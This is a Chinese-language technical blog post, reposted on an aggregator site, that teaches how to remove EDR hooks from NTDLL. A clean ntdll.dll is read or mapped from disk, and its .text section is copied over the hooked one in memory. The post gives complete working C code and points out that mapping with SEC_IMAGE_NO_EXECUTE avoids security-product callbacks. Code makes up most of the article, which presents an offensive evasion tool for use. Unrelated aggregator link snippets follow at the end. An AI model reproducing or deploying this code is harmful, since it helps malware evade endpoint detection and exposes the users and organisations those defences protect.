Ntdll DLL取消挂钩-磁盘导入

news/2025/3/4 17:02:54/文章来源:https://www.cnblogs.com/websecyw/p/18748498

一、介绍

本文介绍如何通过将已挂钩的 NTDLL 的文本段覆盖为从磁盘的 NTDLL 映像中获取的未挂钩版本来实现 NTDLL 反挂钩。执行 NTDLL 反挂钩的步骤如下:

通过读取或映射(下面展示了这两种方法)从磁盘检索一个干净版本的 NTDLL 的句柄。

获取属于当前进程的挂钩 NTDLL 的句柄。

获取挂钩 NTDLL 的文本段。

获取干净 NTDLL 的文本段。

使用未挂钩的 NTDLL 的文本段覆盖挂钩的 NTDLL 的文本段。

从磁盘获取 NTDLL

可以使用以下部分中描述的方法从磁盘获取干净的 NTDLL 版本。从磁盘读取 ntdll.dll 的一种显而易见的方法是使用 ReadFile WinAPI,它可用于从磁盘读取文件。值得记住的是,ntdll.dll 文件的文本部分将有 1024 的偏移量。

可以使用下面所示的自定义 ReadNtdllFromDisk 函数从磁盘读取 ntdll.dll 文件,该函数使用 GetWindowsDirectoryA、CreateFileA、GetFileSize 和 ReadFile WinAPI。同样,请记住,DLL 文件存储在 C:\Windows\System32\ 中。

如果 ReadNtdllFromDisk 函数成功读取 ntdll.dll 文件,它将返回 TRUE。它有一个 OUT 参数 ppNtdllBuf,它保存 ntdll.dll 的基地址。

#define NTDLL "NTDLL.DLL"BOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {CHAR	    cWinPath    [MAX_PATH / 2]    = { 0 };CHAR	    cNtdllPath  [MAX_PATH]        = { 0 };HANDLE      hFile                         = NULL;DWORD       dwNumberOfBytesRead           = NULL,dwFileLen                     = NULL;PVOID       pNtdllBuffer                  = NULL;// 获取 Windows 目录的路径if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA 失败,错误:%d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' 是比 'sprintf' 更安全的版本sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// 获取 ntdll.dll 文件的句柄hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA 失败,错误:%d \n", GetLastError());goto _EndOfFunc;}// 分配足够的内存来读取 ntdll.dll 文件dwFileLen     = GetFileSize(hFile, NULL);pNtdllBuffer  = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);// 读取文件if (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {printf("[!] ReadFile 失败,错误:%d \n", GetLastError());printf("[i] 读取了 %d/%d 字节 \n", dwNumberOfBytesRead, dwFileLen);goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}

映射 NTDLL

CreateFileMappingA 和 MapViewOfFile 这两个 WinAPI 也可以用于从 C:\Windows\System32\ 目录读取 ntdll.dll 文件。

当使用这些 WinAPI 时,.text 段的偏移量将变为 4096(0x1000),而不是 1024(0x400)。这是因为镜像被映射,导致 Windows 加载器应用了对齐修改。

如果在 CreateFileMappingA 调用中没有使用 SEC_IMAGE 或 SEC_IMAGE_NO_EXECUTE 标志,那么不会发生这种对齐调整,因此 .text 段的偏移量仍然是 1024(0x400)。

在下面的实现中,将使用 SEC_IMAGE_NO_EXECUTE 标志,因为它不会触发 PsSetLoadImageNotifyRoutine 回调。这意味着,当 ntdll.dll 被映射到内存中时,使用此标志不会触发 EDR(终端检测与响应)或其他利用此回调函数的安全产品的警报。

这一行为在 Microsoft 官方文档的 CreateFileMappingA 说明中有所提及。
image
通过映射 WinAPI 从磁盘获取 ntdll.dll 是通过以下自定义函数 MapNtdllFromDisk 完成的。如果 MapNtdllFromDisk 成功读取 ntdll.dll 文件,它将返回 TRUE。

#define NTDLL "NTDLL.DLL"BOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {HANDLE  hFile                           = NULL,hSection                        = NULL;CHAR    cWinPath    [MAX_PATH / 2]      = { 0 };CHAR    cNtdllPath  [MAX_PATH]          = { 0 };PBYTE   pNtdllBuffer                    = NULL;// 获取 Windows 目录的路径if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' 是比 'sprintf' 更安全的版本sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// 获取 ntdll.dll 文件的句柄hFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 使用 'SEC_IMAGE_NO_EXECUTE' 标记创建 ntdll.dll 文件的映射视图hSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);if (hSection == NULL) {printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 映射 ntdll.dll 的文件视图pNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);if (pNtdllBuffer == NULL) {printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (hSection)CloseHandle(hSection);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}

ReadNtdllFromDisk 和 MapNtdllFromDisk 函数执行相同任务,但将导致不同的文本段偏移量。

NTDLL 的读取与映射

在从磁盘读取 ntdll.dll 文件(而不是将其映射到内存)时,其文本部分的偏移量有时可能是 4096,而不是预期的 1024。由于文本段偏移量始终等于 DLL 文件的 IMAGE_SECTION_HEADER.VirtualAddress 偏移量,因此将 ntdll.dll 文件映射到内存更加可靠。

二、取消挂钩

取消挂接 ntdll.dll 需要采取一些步骤。这些步骤将逐步演示,以便于理解。

1 - 获取本地 Ntdll.dll 映像句柄

为了替换被 Hook 的 ntdll.dll 的 .text 段,首先必须获取该段的基址和大小。这可以通过多种方式实现,但首先需要获取 NTDLL 模块的句柄。可以使用 GetModuleHandleA("ntdll.dll") 或者使用自定义 GetModuleHandle 实现来完成这项工作。现在,将使用 FetchLocalNtdllBaseAddress 函数来完成这一任务。

PVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60);  // 在 64 位系统中,获取 PEB 的地址
#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30);  // 在 32 位系统中,获取 PEB 的地址
#endif // _WIN64// 直接访问 'ntdll.dll' 模块(我们知道它是本地映像名称之后的第二个映像)PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);return pLdr->DllBase;
}

pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是链表中第二个条目的指针。该函数跳过第一个条目,因为该条目与本地映像相关(因为第一个条目对应的模块是当前正在运行的可执行文件)。然而,第二个条目与 ntdll.dll 模块相关。

尽管 pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink 是指向第二个条目的指针,但它指向条目的结尾,而不是开头。LIST_ENTRY 结构的大小为 0x10,因此减去 0x10 可将指针移动到第二个条目的开头,如下一点所述,这是 ntdll.dll 的位置。

return pLdr->DllBase 返回 ntdll.dll 映像的句柄/基本地址。

2 - 获取本地 Ntdll.dll 的文本节

使用 FetchLocalNtdllBaseAddress 函数检索到本地 ntdll.dll 的句柄后,现在可以检索其文本节的基础地址和大小。下面演示了两种实现方法。

PIMAGE_DOS_HEADER	pLocalDosHdr	= (PIMAGE_DOS_HEADER)pLocalNtdll;
if (pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;PIMAGE_NT_HEADERS 	pLocalNtHdrs	= (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);
if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;PVOID	pLocalNtdllTxt	= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll);
SIZE_T	sNtdllTxtSize	= pLocalNtHdrs->OptionalHeader.SizeOfCode;	

BaseOfCode OptionalHeader 中的一个字段,表示 .text 段的基址(即代码段的起始地址)。
pLocalNtHdrs->OptionalHeader.BaseOfCode获取了.text段的虚拟基址。
(ULONG_PTR)pLocalNtdll pLocalNtdll(指向本地ntdll.dll模块的指针)转换为一个整数值(地址)。
这两者相加,得到 .text 段在内存中的实际地址(基址)。将其转换为 PVOID(void 指针类型),可以用来指向 .text 段的内存。

方法 2 - IMAGE_SECTION_HEADER 结构

第二种方法搜索 IMAGE_SECTION_HEADER 结构数组中的文本节,pLocalNtHdrs 是指向 NT 头(Nt headers) 结构的指针。
pLocalNtdllTxt 和 sNtdllTxtSize 分别表示 .text 段的基址和大小。

pSectionHeader[i].Name等于 ".text" 时,if 语句会对前四个字符(即 ".tex")执行字符串比较。表达式 (*ULONG)* 将 ".tex" 的值反转为 "xet."。这是因为首先读取最不重要的字节并将其放在 ULONG 值的最重要位置,最后读取最重要字节并将其放在 ULONG 值的最不重要位置。然后,用字符串 "xet." 0x20202020 执行位或操作以将其对齐到 32 位边界,从而得出'xet.'值(十六进制表示为 0x7865742E)。这是为了避免使用 strcmp 函数

PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {// if( strcmp(pSectionHeader[i]->Name, ".text") == 0) )if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {PVOID pLocalNtdllTxt	= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);SIZE_T sNtdllTxtSize	= pSectionHeader[i].Misc.VirtualSize;break;}
}

3 - 获取未挂钩的 Ntdll.dll 文本部分

下一步是要获取未挂钩的 ntdll.dll 文本部分的基本地址。可以使用 ReadNtdllFromDisk 或 MapNtdllFromDisk 函数来实现。然后简单地将这个基本地址添加到文本部分的偏移量,该偏移量会因用于获取未挂钩的 ntdll.dll 文本部分的函数而异。

如果使用 ReadNtdllFromDisk,则文本部分的偏移量将等于 1024 字节。否则,如果使用 MapNtdllFromDisk,则文本部分的偏移量将等于 NTDLL 的 IMAGE_SECTION_HEADER.VirtualAddress,通常为 4096 字节。

4 - 替换.text段

在获取了所有必要信息后,下一步是 用未 Hook 的ntdll.dll .text段替换已 Hook 的 .text 段。
这个过程通过 memcpy 实现,其中:
目标地址(destination) 是 已 Hook 的 .text 段的基地址,
源地址(source) 是 未 Hook 的 .text 段的基地址。
由于 .text 段通常是 只读且可执行(RX) 的,因此 必须先修改其内存权限,允许写入,才能进行替换。
这可以使用 VirtualProtect API 来完成,设置以下权限之一:
PAGE_EXECUTE_WRITECOPY
PAGE_EXECUTE_READWRITE
在成功替换 .text 段后,必须再次调用 VirtualProtect 恢复原始权限,通常为:PAGE_EXECUTE_READ(可执行但不可写入)这样可以 避免恶意软件检测,并保持 ntdll.dll 代码段的正常安全属性。

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>#define NTDLL "NTDLL.DLL" // can be lower-case as well// comment this to 'map' ntdll.dll instead of reading it
//
#define READ_NTDLL#ifndef READ_NTDLL
#define MAP_NTDLL
#endif // !READ_NTDLL#ifdef READ_NTDLLBOOL ReadNtdllFromDisk(OUT PVOID* ppNtdllBuf) {CHAR	cWinPath	[MAX_PATH / 2]		= { 0 };CHAR	cNtdllPath	[MAX_PATH]			= { 0 };HANDLE	hFile							= NULL;DWORD	dwNumberOfBytesRead				= NULL,dwFileLen						= NULL;PVOID	pNtdllBuffer					= NULL;// getting the path of the Windows directoryif (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' is a more secure version than 'sprintf'sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// getting the handle of the ntdll.dll filehFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// allocating enough memory to read the ntdll.dll filedwFileLen		= GetFileSize(hFile, NULL);pNtdllBuffer	= HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileLen);// reading the fileif (!ReadFile(hFile, pNtdllBuffer, dwFileLen, &dwNumberOfBytesRead, NULL) || dwFileLen != dwNumberOfBytesRead) {printf("[!] ReadFile Failed With Error : %d \n", GetLastError());printf("[i] Read %d of %d Bytes \n", dwNumberOfBytesRead, dwFileLen);goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}#endif // READ_NTDLL#ifdef MAP_NTDLLBOOL MapNtdllFromDisk(OUT PVOID* ppNtdllBuf) {HANDLE	hFile					= NULL,hSection				= NULL;CHAR	cWinPath[MAX_PATH / 2]	= { 0 };CHAR	cNtdllPath[MAX_PATH]	= { 0 };PBYTE	pNtdllBuffer			= NULL;// getting the path of the Windows directoryif (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' is a more secure version than 'sprintf'sprintf_s(cNtdllPath, sizeof(cNtdllPath), "%s\\System32\\%s", cWinPath, NTDLL);// getting the handle of the ntdll.dll filehFile = CreateFileA(cNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE) {printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// creating a mapping view of the ntdll.dll file using the 'SEC_IMAGE_NO_EXECUTE' flaghSection = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, NULL, NULL, NULL);if (hSection == NULL) {printf("[!] CreateFileMappingA Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}// mapping the view of file of ntdll.dllpNtdllBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);if (pNtdllBuffer == NULL) {printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;_EndOfFunc:if (hFile)CloseHandle(hFile);if (hSection)CloseHandle(hSection);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;
}#endif // MAP_NTDLLPVOID FetchLocalNtdllBaseAddress() {#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60);
#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif // _WIN64// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'DiskHooking.exe')// 0x10 is = sizeof(LIST_ENTRY)PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);return pLdr->DllBase;
}BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {PVOID				pLocalNtdll		= (PVOID)FetchLocalNtdllBaseAddress();printf("\t[i] 'Hooked' Ntdll Base Address : 0x%p \n\t[i] 'Unhooked' Ntdll Base Address : 0x%p \n", pLocalNtdll, pUnhookedNtdll);printf("[#] Press <Enter> To Continue ... ");getchar();// getting the dos headerPIMAGE_DOS_HEADER	pLocalDosHdr	= (PIMAGE_DOS_HEADER)pLocalNtdll;if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;// getting the nt headersPIMAGE_NT_HEADERS pLocalNtHdrs	= (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE) return FALSE;PVOID		pLocalNtdllTxt	= NULL,	// local hooked text section base addresspRemoteNtdllTxt = NULL; // the unhooked text section base addressSIZE_T		sNtdllTxtSize	= NULL; // the size of the text section/*// this is another way to get the text section - it requires more steps PIMAGE_DOS_HEADER	pRemoteDosHdr	= (PIMAGE_DOS_HEADER)pUnhookedNtdll;if (pRemoteDosHdr && pRemoteDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;PIMAGE_NT_HEADERS pRemoteNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pUnhookedNtdll + pRemoteDosHdr->e_lfanew);if (pRemoteNtHdrs->Signature != IMAGE_NT_SIGNATURE)return FALSE;PVOID		pLocalNtdllTxt	= (PVOID)(pLocalNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pLocalNtdll),pRemoteNtdllTxt = (PVOID)(pRemoteNtHdrs->OptionalHeader.BaseOfCode + (ULONG_PTR)pUnhookedNtdll);SIZE_T		sNtdllTxtSize	= pLocalNtHdrs->OptionalHeader.SizeOfCode;	
*/// getting the text sectionPIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {pLocalNtdllTxt	= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);
#ifdef MAP_NTDLLpRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);
#endif //MAP_NTDLL
#ifdef READ_NTDLLpRemoteNtdllTxt = (PVOID)((ULONG_PTR)pUnhookedNtdll + 1024);	
#endif // READ_NTDLLsNtdllTxtSize	= pSectionHeader[i].Misc.VirtualSize;break;}}printf("\t[i] 'Hooked' Ntdll Text Section Address : 0x%p \n\t[i] 'Unhooked' Ntdll Text Section Address : 0x%p \n\t[i] Text Section Size : %d \n", pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);printf("[#] Press <Enter> To Continue ... ");getchar();//---------------------------------------------------------------------------------------------------------------------------// small check to verify that all the required information is retrievedif (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)return FALSE;#ifdef READ_NTDLL// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text sectionif (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt) {printf("\t[i] Text section is of offset 4096, updating base address ... \n");// if not, then the read text section is also of offset 4096, so we add 3072 (because we added 1024 already)(ULONG_PTR)pRemoteNtdllTxt += 3072;// checking againif (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)return FALSE;printf("\t[+] New Address : 0x%p \n", pRemoteNtdllTxt);printf("[#] Press <Enter> To Continue ... ");getchar();}
#endif // READ_NTDLL//---------------------------------------------------------------------------------------------------------------------------printf("[i] Replacing The Text Section ... ");DWORD dwOldProtection = NULL;// making the text section writable and executableif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {printf("[!] VirtualProtect [1] Failed With Error : %d \n", GetLastError());return FALSE;}// copying the new text section memcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);// rrestoring the old memory protectionif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {printf("[!] VirtualProtect [2] Failed With Error : %d \n", GetLastError());return FALSE;}printf("[+] DONE !\n");return TRUE;
}VOID PrintState(char* cSyscallName, PVOID pSyscallAddress) {printf("[#] %s [ 0x%p ] ---> %s \n", cSyscallName, pSyscallAddress, (*(ULONG*)pSyscallAddress != 0xb8d18b4c) == TRUE ? "[ HOOKED ]" : "[ UNHOOKED ]");
}int main() {PVOID	pNtdll		= NULL;// printf("[#] Press <Enter> When MalDevEdr.dll Is Injected ... ");// getchar();#ifdef MAP_NTDLLprintf("[i] Fetching A New \"ntdll.dll\" File By Mapping \n");if (!MapNtdllFromDisk(&pNtdll))return -1;
#endif //MAP_NTDLL// check if NtProtectVirtualMemory is hookedPrintState("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));#ifdef READ_NTDLLprintf("[i] Fetching A New \"ntdll.dll\" File By Reading \n");if (!ReadNtdllFromDisk(&pNtdll))return -1;
#endif // READ_NTDLLif (!ReplaceNtdllTxtSection(pNtdll))return -1;#ifdef MAP_NTDLLUnmapViewOfFile(pNtdll);
#endif //MAP_NTDLL#ifdef READ_NTDLLHeapFree(GetProcessHeap(), 0, pNtdll);
#endif // READ_NTDLLprintf("[+] Ntdll Unhooked Successfully \n");// check if NtProtectVirtualMemory is unhookedPrintState("NtProtectVirtualMemory", GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtProtectVirtualMemory"));printf("[#] Press <Enter> To Quit ... ");getchar();return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/892993.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华大基因测序芯片(Flowcell)

一、公司简介: 深圳华大智造科技股份有限公司(简称华大智造)秉承“创新智造引领生命科技”的理念,致力于成为生命科技核心工具缔造者,专注于生命科学与生物技术领域,以仪器设备、试剂耗材等相关产品的研发、生产和销售为主要业务,为精准医疗、精准农业和精准健康等行业提…

欧拉OpenEuler使用nfs和rsync复制文件夹到新服务器.v2.250303

案例: 服务器A是新服务器 服务器B为老服务器 需要将服务器B的/data/storage ,拷贝到服务器A的 /home/sync-data下一、服务器A 新服务器配置nfs 1. 安装nfs systemctl stop firewalld df -h mkdir -p /home/sync-datayum install nfs-utils systemctl status nfs-se…

代码审查规范

前言 CodeReview是一种文化、一件有趣的事情,不要把做成一种约束和批判的事懂,本规范的目时是为了建立起适合运配团队的Code Review机制,让所有人都参与进来、融入进来,保持正面的积极的态度,让CR变成我们开发过程的一部分,并在实行的过程中逐步演进,最后形成良好的CR文…

拓普微7寸智能显示模块:激光焊接设备的理想之选

在现代化工业制造领域,激光焊接设备以其高精度、高效率的特点,成为了众多制造业企业不可或缺的加工工具。然而,在复杂的工业环境中,激光焊接设备的显示与控制界面面临着诸多挑战,如抗干扰能力不足、阳光下难以观察以及开发界面复杂等问题。为了解决这些难题,众多知名激光…

Stream4Graph:动态图上的增量计算

通过结合图处理和流处理技术,蚂蚁图计算开源的GeaFlow引擎实现了动态图上的增量计算,大幅提升大规模实时图计算效率,适用于复杂图数据分析场景。作者:张奇众所周知,当我们需要对数据做关联性分析的时候,一般会采用表连接(SQL join)的方式完成。但是SQL join时的笛卡尔积…

Day01 新手入土markdown练习

Markdownd 学习 二级标题 三级标题 四级标题 五级标题 六级标题 ####### 七级标题 井号键+空格+标题内容 字体设置 hello,word 两边双星号为粗体 ctrl+b hello,word 两边单个星号 ctrl+i hello,word 三个星号又粗又斜 hello,word 双波浪号删除线hello,word ctrl…

workerman GatewayWorker laralvel 即时通讯

1.官网地址https://www.workerman.net/doc/gateway-worker 2.把下载的GatewayWorker 放入laravel 框架中 3.windows 中启动GetWayWork 双击启动 只需在events.php中做调整就好(每次修改都需要重新启动才会生效) 使用 websocket 协议 Events.phpclass Events {/*** 当客户端…

特性分支开发

背景 现在git创建,合并,发布,发布后处理,每个业务条线不一致,并且没有传承记录,为保证git统一使用,并保持一致,故有如下规则。 Git常用分支包括 master:项目主分支,有且仅有一个,除项目负责人外其他开发人员不得向 master 分支合并内容。hotfix:紧急线上 bug 修复分…

第八届西湖论剑 DS-easyrawencode

easyrawencode 解压后是一个raw,vol启动虚拟机性能太差了,我直接本机win跑vol.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" imageinfo.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" -…

victoriametrics 基础

victoriametrics 介绍 VictoriaMetrics 是一个高性能、高扩展性的开源时间序列数据库和监控解决方案,专为处理大规模指标数据设计。 victoriametrics 特点 兼容 Prometheus API,支持 PromQL 高压缩率(比 Prometheus 高 5-10 倍) 支持水平扩展(集群模式) 低资源消耗,单节…

2025年智慧园区信创化:门禁安防+项目管理的国产工具链

随着科技的飞速发展,智慧园区的建设已成为当今社会的重要趋势。2025 年,智慧园区的信创化将成为推动园区发展的关键力量,其中门禁安防和项目管理的国产工具链将发挥重要作用。本文将深入探讨这一主题,分析其现状、优势以及未来发展前景。 门禁安防:守护园区安全的第一道防…